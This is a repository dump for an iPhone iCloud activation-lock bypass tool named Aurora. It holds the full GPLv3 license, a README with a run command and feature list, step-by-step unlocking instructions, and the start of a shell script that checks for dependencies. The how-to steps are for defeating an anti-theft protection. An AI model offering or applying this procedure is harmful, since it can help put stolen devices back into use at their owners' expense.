├── HOWTOUNLOCK.MD
├── LICENSE
├── README.MD
├── source
├── exe
│ └── jk
├── ibypass.sh
├── jailbreak.sh
├── php.sh
├── rm_oldicloud.sh
├── root_shell.sh
├── scripts
│ ├── __pycache__
│ │ └── usbmux.cpython-310.pyc
│ ├── bypass.py
│ ├── php.py
│ ├── phpbypass
│ │ ├── README.md
│ │ ├── activator.php
│ │ ├── raptor
│ │ │ └── RaptorActivation.pem
│ │ ├── start.sh
│ │ └── var
│ │ │ └── www
│ │ │ └── crypt
│ │ │ ├── BigInteger.php
│ │ │ ├── Hash.php
│ │ │ ├── RSA.php
│ │ │ └── Random.php
│ ├── remove_oldicloud.py
│ ├── shell.py
│ ├── sim.py
│ └── usbmux.py
├── simfrom.sh
└── simto.sh
└── start.sh
/HOWTOUNLOCK.MD:
--------------------------------------------------------------------------------
1 | # How to unlock
2 | To unlock please download the script on debian/ubuntu machine it will work on mac if you have python pip installed
3 | - **SIM CARD** Will work if you did not restore device to factory settings if you did you can unlockit but sim card wont work :(
4 | - if you restored device to factory settings skip step 1
5 | # Step 1
6 | Launch the script and selcet ``Dump Sim card files from device`` this will dump files from the device so you can later activate the sim card
7 | # Step 2
8 | Restore the device to factory settings this can be done via itunes or 3utools
9 | make sure to not restore over ios 14 or ios 14 some ios 13 versions wont work so you might need to restore it few times via 3utools to unlock it!
10 | # Step 3
11 | Choose ``Automatic Icloud bypass`` and follow the steps
12 | if iphone gets unlocked go to step 4
13 | # Step 4
14 | In the same directory where you dumped files open the script again with command ``./start.sh``
15 | Then select ``Dump Sim card files to device (WORKS IF YOU DID OPTION 5)``
16 | # Step 5
17 | Test out everything sim card may not work but you atleast tried.
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.MD:
--------------------------------------------------------------------------------
1 | # Aurora
2 | 
3 |
4 | # Disclaimer
5 |
6 | **Important Notice:** This repository and its contents are intended solely for educational purposes. Please exercise caution and discretion when using any information or software provided here. The developers of this software cannot be held liable for any damages incurred through its use. Utilizing any tools from this repository to engage in unauthorized attacks or unlock targets without prior, mutual consent is strictly illegal. It is the responsibility of the end user to comply with all relevant local, state, and federal laws. We assume no liability and bear no responsibility for any misuse or harm resulting from the use of this software.
7 | ## How to Run
8 |
9 | You can run this script on Mac, Linux, or Windows with the Linux subsystem. Ensure that your device is connected via USB, and then execute the following commands:
10 |
11 | ```bash
12 | git clone https://github.com/Toni-d-e-v/Aurora-Icloud-bypass-shell && cd Aurora-Icloud-bypass-shell && chmod +x start.sh && clear && ./start.sh;
13 | ```
14 |
15 | ## Features
16 |
17 | This repository offers several functionalities for various purposes:
18 |
19 | 1. **iCloud Unlocker (ibypass.sh):** This tool assists in iCloud unlocking.
20 |
21 | 2. **Root Shell for Jailbroken Devices (root_shell.sh):** Provides access to a root shell on jailbroken devices.
22 |
23 | 3. **Remove Old iCloud Account:** It allows for the removal of old iCloud accounts. Note that after removal, you may need to attempt account addition multiple times and apply various glitching techniques, especially if a passcode is in place.
24 |
25 | 4. **SIM Fix Scripts (simfrom.sh/simto.sh):** These scripts enable the dumping and restoration of SIM card files. It's important to dump the SIM card files before restoring the device, perform the bypass, and then restore the files. All relevant options are available in the menu.
26 |
27 | 5. **Remove iCloud Account from Activated Device (rm_oldicloud.sh):** This script can be used to remove an iCloud account from a device that is already activated. Caution: Do not restore the device after using this script.
28 |
29 | ## About
30 |
31 | This script simplifies the process by downloading all necessary components. Follow the provided instructions, and it should work seamlessly on devices supported by the Checkra1n jailbreak, spanning from iPhone 5s to iPhone X. It is compatible with iOS 14, although some iOS 13 versions may not be supported. Enjoy exploring its functionalities!
32 |
33 |
34 |
--------------------------------------------------------------------------------
/source/exe/jk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Toni-d-e-v/Aurora-Icloud-bypass/4853aec22a4bfe6d985094f121af656ed9895010/source/exe/jk
--------------------------------------------------------------------------------
/source/ibypass.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # iCloud Unlock Aurora 0.1
4 | echo "Welcome to iCloud Unlock Aurora 0.1, github.com/Toni-d-e-v/Icloud-Unlocker/"
5 | echo "To make this exploit work, we will launch checkra1n jailbreak. Please follow the instructions and do not close the terminal."
6 | echo "If you want to exit the script, press Ctrl+C."
7 | read -p "Press enter to continue"
8 |
9 | # Checking for python3
10 | echo "Checking for python3..."
11 | if ! command -v python3 &> /dev/null; then
12 | echo 'Error: python3 is not installed.' >&2
13 | exit 1
14 | else
15 | echo "python3 is installed"
16 | fi
17 |
18 | # Checking for pip3
19 | echo "Checking for pip3..."
